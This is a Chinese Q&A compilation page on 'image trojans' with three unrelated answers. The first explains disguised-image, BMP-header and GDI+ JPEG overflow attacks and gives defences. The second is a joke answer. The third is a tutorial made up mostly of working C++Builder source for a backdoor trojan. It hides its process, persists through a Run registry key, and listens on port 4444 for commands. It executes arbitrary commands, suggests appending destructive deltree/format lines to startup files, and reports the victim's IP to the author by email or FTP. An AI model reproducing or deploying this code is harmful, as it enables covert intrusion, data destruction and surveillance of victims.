導航:首頁 > 動漫圖片 > 網路人怎麼使用圖片木馬

網路人怎麼使用圖片木馬

發布時間:2022-04-21 06:13:34

Ⅰ 圖片病毒是什麼原理

圖片病毒技術原理剖析

一、被詛咒的油畫
在網路上流傳著一幅詭異的油畫,據說很多人看後會產生幻覺,有人解釋為油畫的構圖色彩導致的視覺刺激,也有人認為是心理作用,眾說紛紜,卻沒有令人信服的答案。在網路公司上班的秘書小王也從一個網友那裡得知了這幅畫,她馬上迫不及待的點擊了網友給的圖片連接。
圖片出來了,小王終於見識到了傳說中詭異的油畫,面對著屏幕上那兩個看似正常的孩子,她卻覺得背後涼颼颼的。那網友也很熱心的和她聊這幅畫的來源,小王入神的聽著,絲毫沒有注意到IE瀏覽器左下角的狀態欄打開頁面的進度條一直沒停止過。
如果說小王剛才只是背後發冷的話,那麼現在她已經是全身發冷了:電腦光碟機自動彈了出來,剛按回去又彈了出來,她著急的請教那個網友,那邊很平靜的說:「哦,也許是光碟機壞了吧,我有事先下了,你找人修一下。」然後頭像暗了。
小王已經無法回復他的話了:滑鼠正在不聽使喚的亂跑,鍵盤也沒了反應,過了一會兒,電腦自己重啟了,而且永遠停留在了「NTLDR is missing...」的出錯信息上。
顯而易見,這又是一個典型的木馬破壞事件,但是小王打開的是圖片,難道圖片也會傳播病毒了?答案很簡單也很出人意料:小王打開的根本不是圖片。
IE瀏覽器的功能很強大,它可以自動識別並打開特定格式的文件而不用在乎它是什麼文件後綴名,因為IE對文件內容的判斷並不是基於後綴名的,而是基於文件頭部和MIME。當用戶打開一個文件時,IE讀取該文件的頭部信息並在本機注冊表資料庫內查找它對應的MIME格式描述,例如打開一個MIDI文件,IE先讀取文件前面一段數據,根據MIDI文件的標準定義,它必須包含以「RIFF」開頭的描述信息,根據這段標記,IE在注冊表定位找到了「x-audio/midi」的MIME格式,然後IE確認它自己不具備打開這段數據的能力,所以它根據注冊表裡的文件後綴名信息找到某個已經注冊為打開後綴名為「.MID」的文件,然後提交給此程序執行,我們就看到了最終結果。
正是因為這個原理,所以IE很容易受傷。入侵者通過偽造一個MIME標記描述信息而使網頁得以藏蟲,在這里也是相同的道理,小王打開的實際上是一個後綴名改為圖片格式的HTML頁面,它包含上述兩個漏洞的病毒文件和一個高度和寬度都設置為100%的圖片IMG標記,所以在小王看來,這只是一個圖片文件,然而,圖片的背後卻是惡毒的木馬。木馬程序體積都比較大,下載需要一定時間,這就是IE進度條一直沒停止的原因。入侵者為了確保受害者打開頁面的時間可以使整個木馬文件下載完畢,就採用了社會工程學,讓受害者不會在很短的時間內關閉頁面,當木馬下載執行後,「圖片」的詛咒就應驗了。
二、點陣圖特性的悲哀
他是一家公司的網路管理員,在伺服器維護和安全設置方面有足夠多的經驗,因此他無需懼怕那些利用瀏覽器漏洞實現的病毒。這天他在一個技術論壇里看到一個網友發的關於AMD某些型號的處理器存在運算瑕庇的帖子,並給出一個測試頁面連接,根據官方描述,如果你用的CPU存在瑕庇,那麼你會看到頁面上的測試圖片顯示得破損錯亂。他心裡一驚:自己用的CPU正是這個型號。他馬上點擊了頁面連接。
看著頁面上亂七八糟的一幅圖片,他心裡涼了一截:這台機器的CPU居然有問題,而他還要用這台機器處理公司的重要數據的!他馬上去管理部找負責人協商,把顯示著一幅胡里花哨圖片的機器晾在一邊。
管理部答應盡快給他更換一台機器,讓他把硬碟轉移過去,因為上面有重要的業務資料。他回來時看到那幅圖片還在耀武揚威,他厭惡的關閉了頁面,照例打開存放資料的文件夾,他的腦袋一下子空白了:資料不見了!誰刪除了?他慌亂的查找硬碟每個角落,可那些文件卻像蒸發了一樣。許久,他終於反應過來了:機器被入侵了!他取下硬碟直奔數據恢復公司而去。
事後他仔細分析了原因,因為機器已經通過了嚴格的安全測試而且打了所有補丁,通過網頁漏洞和溢出攻擊是不可能的了,唯一值得懷疑的只有那個所謂的瑕庇測試網頁了,他迅速下載分析了整個頁面代碼,看著頁面源代碼里後綴名為「.BMP」的IMG標記和一堆復雜的腳本代碼,他知道自己是栽在了BMP木馬的手上。
那幅「測試瑕庇」的圖片,無論到什麼機器上都是一樣有「瑕庇」,因為它根本不是圖片文件,而是一個以BMP格式文件頭部開始的木馬程序。
為什麼看似溫順的圖片文件也變成了害人的凶器?這要從點陣圖(Bitmap)格式說起,許多朋友應該都知道流傳了很久的被稱為「圖片藏字」的「密文」傳播方式,即在點陣圖文件尾部追加一定量的數據而不會對原點陣圖文件造成太大破壞,這是點陣圖格式的限制寬松而造成的。系統判斷一個點陣圖文件的方法並不是嚴格盤查,而是僅僅從文件頭部的54位元組里讀取它的長寬、位數、文件大小、數據區長度就完成了圖片的識別,寬松的盤查機制使得BMP木馬得以誕生。
不過先要澄清一點概念,BMP木馬並不是在BMP點陣圖文件屁股後追加的EXE文件,而是一個獨立的EXE可執行文件,但是它的文件PE頭部已經用點陣圖文件頭部替換了,由於系統的盤查機制,這個EXE文件就被瀏覽器認成點陣圖文件了。既然是點陣圖,在瀏覽器的程序邏輯里,這是需要下載到Internet高速緩存文件夾然後顯示在頁面上的文件,但是因為這個文件本來就不是點陣圖,它被強制顯示出來以後自然會變成一堆無意義的垃圾數據,在用戶眼裡,它就成了一幅亂七八糟的圖像。但這不是引起木馬危機的原因,要留意的是這些文字:「需要下載到Internet高速緩存文件夾」!這說明瀏覽器已經請狼入室了——木馬已經在硬碟上安家了,但是目前它還在沉睡中,因為它的文件頭部被改為點陣圖格式,導致它自身已經不能運行,既然不能運行,理所當然就不能對系統構成危害,那麼這只狼在硬碟呆多久也是廢物一個,入侵者當然不能任由它浪費,因此他們在做個頁面給瀏覽器下載木馬的同時,也會設置頁面代碼讓瀏覽器幫忙脫去這只狼的外衣——把點陣圖格式頭部換成可執行文件的PE頭部,然後運行它。經過這些步驟,一隻惡狼進駐了系統。
這個無法修補的漏洞十分可怕,用戶很難知道他們正在瀏覽的頁面是否正在偷偷下載著木馬數據,因為即使他們打好了所有補丁也無濟於事,木馬是被IE「合法」下載的,不屬於代碼漏洞,而且單靠程序本身也很難判斷這個圖像是不是木馬程序,機器靠二進制完成處理工作,而不是視網膜成象交給大腦判斷。但是,由於這也是需要下載文件的入侵方式,它能否下載完畢以及用戶願不願意去看頁面就要取決於入侵者的社會工程學了,在任何一個頁面里放出一個亂七八糟的圖片或者來一個隱藏的圖片框都不是最明智的選擇,除非利用一些「暇庇聲明」或更能引起人的興趣的伎倆。那家公司的網管之所以會這么不設防,就是因為攻擊者偷用了人們的「心理盲區」,因為人們對安全、漏洞、病毒、暇庇等內容會特別敏感,所以入侵者發個專業暇庇案例就欺騙了一大堆人,這次是拿真實的事件:AMD某些型號CPU會導致圖像顯示出問題的暇庇來做魚餌,下一次又該拿什麼了呢?
三、魔鬼的詛咒
對於某娛樂論壇的大部分用戶來說,今天是個黑色的日子,因為他們在看過一個《被詛咒的眼睛》油畫帖子後,系統遭到了不明原因的破壞。
論壇管理層的技術人員立即對這個帖子進行了多次分析,可是整個頁面就只有一個JPEG圖片的連接,其他惡意代碼和程序根本不存在。入侵者靠什麼破壞了看帖用戶的機器?難道竟是這個JPEG圖片?
答案恐怕讓人難以接受,的確就是這幅JPEG圖片讓用戶感染了病毒。盡管病毒研究一直未曾停止,可是發展到這個地步,實在讓人不能承受:再下去是不是打開一個文本文件都會被感染病毒?
圖片帶毒來襲,實在讓所有人都擦了一把汗,然而我們都知道,JPEG、GIF等格式圖片不具備可以執行自身並散播病毒的條件,這不符合邏輯。回憶一下2004年9月14日的事,微軟發布了MS04-028安全公告:JPEG處理(GDI+)中的緩沖區溢出可能使代碼得以執行。沒錯,就是這個漏洞,它的術語叫GDI+,對應的動態鏈接庫為GdiPlus.dll,這是一種圖形設備介面,能夠為應用程序和程序員提供二維媒介圖形、映像和版式,大部分Windows程序都調用這個DLL完成JPEG格式圖片的處理工作。但是現在,正是這個「公眾人物」成了眾矢之的。
說到這里,有基礎的讀者應該明白了吧:並不是圖片自己能傳播病毒,而是系統負責圖形處理工作的模塊會在處理圖片時發生溢出導致圖片內攜帶的惡意指令得以執行破壞。如果某個圖片工具不調用這個系統模塊,而是使用自己的處理模塊,那麼同樣包含惡意指令的圖片就不能達到破壞目的。但是因為這個系統模塊是默認的處理模塊,所以大部分程序在「JPEG病毒」面前紛紛落馬。
這個溢出是怎麼產生的呢?這要從系統如何讀取JPEG格式圖形的原理說起,系統處理一個JPEG圖片時,需要在內存里載入JPEG處理模塊,然後JPEG處理模塊再把圖片數據讀入它所佔據的內存空間里,也就是所說的緩沖區,最後我們就看到了圖片的顯示,然而就是在圖片數據進入緩沖區的這一步出了錯——Windows規定了緩沖區的大小,卻沒有嚴格檢查實際容納的數據量,這個帶缺陷的邊界檢查模式導致了噩夢:入侵者把一個JPEG圖片的數據加工得異常巨大並加入惡意指令,那麼這個圖片在系統載入內存時候會發生什麼情況呢?圖片數據會漲滿整個JPEG處理模塊提供的緩沖區並恰好把惡意指令溢出到程序自身的內存區域,而這部分內存區域是用於執行指令的,即核心區,於是惡意指令被程序誤執行了,入侵者破壞系統或入侵機器的行為得以正常實施。有人也許會疑惑,入侵者都是神運算元嗎,他們為什麼能准確的知道會是哪些數據可以溢出執行?答案很簡單,因為Windows在分配JPEG處理模塊的空間時,給它指定的內存起始地址是固定的,入侵者只要計算好這個空間大小,就能知道會有哪些數據被執行了,所以JPEG病毒迅速傳播起來。
所謂JPEG病毒,並不是JPEG圖片能放出病毒,而是系統處理JPEG圖片的模塊自己執行了JPEG圖片攜帶的病毒,所以我們大可不必人心惶惶,只要補上了GDIPLUS.DLL的漏洞,那麼即使你機器上的所有JPEG圖片都帶有病毒數據,它們也無法流竄出來搞破壞,正如美國馬薩諸塞州立大學助理教授奧斯汀所言:「病毒不僅僅是可自我復制的代碼,他們需要通過可執行代碼的方式來進行傳播。JPEG文件不能執行代碼,他們是由應用軟體打開的數據文件。應用軟體不會去查找數據文件中的可執行的代碼,為此不會運行這些病毒代碼。」
四、防範
對於虛假圖片文件的欺騙手法,只要用戶補上了MIME和IFRAME漏洞,那麼入侵者讓你停留多久也無濟於事;至於BMP木馬,它的防範是幾乎不可避免,但是它有個最大的弱點,大部分情況下只能在Win9x環境正常執行,用Win2000以上的用戶不必草木皆兵了;而對於JPEG病毒來說更好辦了,微軟已經提供JPEG模塊的更新了,你倒是去補一下啊!即使真的一點也不會,買個防病毒軟體在後台監視也OK了,但是為什麼國內用戶卻偏偏喜歡徒勞的恐慌?
縱觀這一系列圖片病毒的原理和手法,我們可以發現「社會工程學」這個身影的擴大化趨勢。如何避免被騙,這只能看你自己了。

Ⅱ 木馬怎麼植入圖片中註:本人忠厚善良.

你好!
已經成功將木馬植入圖片,輸入「木馬」二字
5!
注.保存圖片
恭喜你1.打開小畫板,選取要植入的圖片
2.選取右邊A圖標的文字工具
3.用滑鼠在圖片上選取一個框
4.換中文輸入法
僅代表個人觀點,不喜勿噴,謝謝。

Ⅲ 怎樣使用木馬

特洛依木馬這個名詞大家應該不陌生,自從98年「死牛崇拜」黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos??Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒,終於認識到的網路也有它邪惡的一面,一時間人心惶惶。
我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的許可權。那時木馬的主要方法是誘騙??先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字元存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網路可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網路事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的「關閉程序」對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網路安全方面可以說是一個劃時代的軟體。
自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成??伺服器程序(Server)和客戶端程序(Client),伺服器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網路協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
file://卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:
{
char TempPath[MAX_PATH];
file://定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
file://格式化TempPath字元串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
file://定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
file://如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
file://如果不是,就寫入以上鍵值和內容
}
catch(...)
{
file://如果有錯誤,什麼也不做
}
}

好,FormCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定義了一堆待會兒要用到的變數
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
file://得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將第11個字元轉換成integer型,存入file_name變數
file://為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
file://餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
file://定義計數器
while(fp==NULL)
{
file://如果指針是空
fp=fopen(filename,"a+");
file://如果文件不存在,創建之;如果存在,准備在其後添加
file://如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
file://寫完後關閉目標文件
Socket->SendText("Sucess");
file://然後發回「Success」的成功信息
}
}

上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用「dir」命令,跟著敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3個字元是「dir」
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字元串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://從字元串第六個字元開始,將後面的字元存入Dir_Name變數,這是目錄名
if(Dir_Name=="")
{
file://如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
file://返回「Fail By Open DIR's Name」信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
file://返回「Fail By Your DIR's Name」信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指針是NULL
fp=fopen(TempFile,"w+");
file://就創建system\Win369.bat准備讀和寫;如果此文件已存在,則會被覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最後一個字元不是「\」,證明不是根目錄
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上「\」字元後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目錄,則不用加「\」
attrib=_rtl_chmod(filename, 0);
file://得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
file://「&」字元是比較前後兩個變數,如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
file://將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
file://失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
file://失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
file://寫入換行
}
fclose(fp);
file://關閉文件
closedir(dir);
file://關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打開Win369.bat准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義的一個空數組
Read_Num=fread(temp_content,1,300,fp1);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
fclose(fp1);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text變數的內容
}
}
夠長吧?!察看目錄樹這么費勁啊?!你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用「type」命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4個字元是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://將目標文件流存入File_Name變數中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打開目標文件准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已試了100次了
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的錯誤信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義一個空數組
Read_Num=fread(temp_content,1,300,fp);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
fclose(fp);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text的內容,即你查看文件的內容
}
}
咳咳!累死了!還是來點輕松的吧??操縱目標機的光碟機(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):
{
else if(temp=="open")
{
file://如果收到的temp的內容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就彈出光碟機的托盤
}
else if(temp=="close")
{
file://如果收到的temp的內容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光碟機的托盤。當然你也可以搞個死循環,讓他的光碟機好好活動活動!^_^
}
}
接著就是交換目標機的滑鼠左右鍵,代碼如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交換滑鼠左右鍵,簡單吧?
}
}
然後就是使目標機重新啟動。但這里要區分WinNt和Win9x??NT非常注重系統每個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的許可權:
{
else if(temp=="reboot")
{
file://如果收到的temp的內容是「temp」
DWORD dwVersion = GetVersion();
file://得到操作系統的版本號
if (dwVersion < 0x80000000)
{
file://操作系統是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定義變數
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
file://GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改進程的許可權
tkp.PrivilegeCount = 1;
file://賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://強行退出Win9x並重啟
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://創建Win369.bat,如果已存在就覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://寫入換行符
fclose(fp);
file://關閉Win369.bat
system(TempFile);
file://執行Win369.bat
Socket->SendText("Success");
file://返回「Success」信息
}
}
你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網路狀況(判斷是否是一個企業的區域網),然後可以進一步攻擊,比如Deltree和Format命令。^_^

到此,伺服器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)
木馬是如何編寫的(三)
武漢 周侃
上次已編寫完伺服器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):
{
END:;
Socket->Close();
file://關閉服務
ServerSocket1->Active =true;
file://再次打開服務
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP伺服器已連接則斷開
NMSMTP1->Host = "smtp.163.net";
file://選一個好用的SMTP伺服器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次連接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]";
file://將信發到我的郵箱,這一步很關鍵
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的內容提示你「伺服器正在運行」,並且告訴你受害者的目前的IP地址,以便連接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主題
NMSMTP1->SendMail();
file://發送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com";
file://你的FTP伺服器的地址
NMFTP1->UserID = "";
file://你的用戶ID
NMFTP1->Port = 21;
file://FTP埠號,一般為21
NMFTP1->Password = "";
file://你的FTP的密碼
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已連接就斷開
try
{
NMFTP1->Connect();
file://再連接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://創建一個新文件准備寫,如果已存在就覆蓋
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://寫入以上的SendToSite的內容
fclose(Upload);
file://寫完後關閉此文件
NMFTP1->RemoveDir("public_html");
file://刪除public_html目錄
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上傳!
}
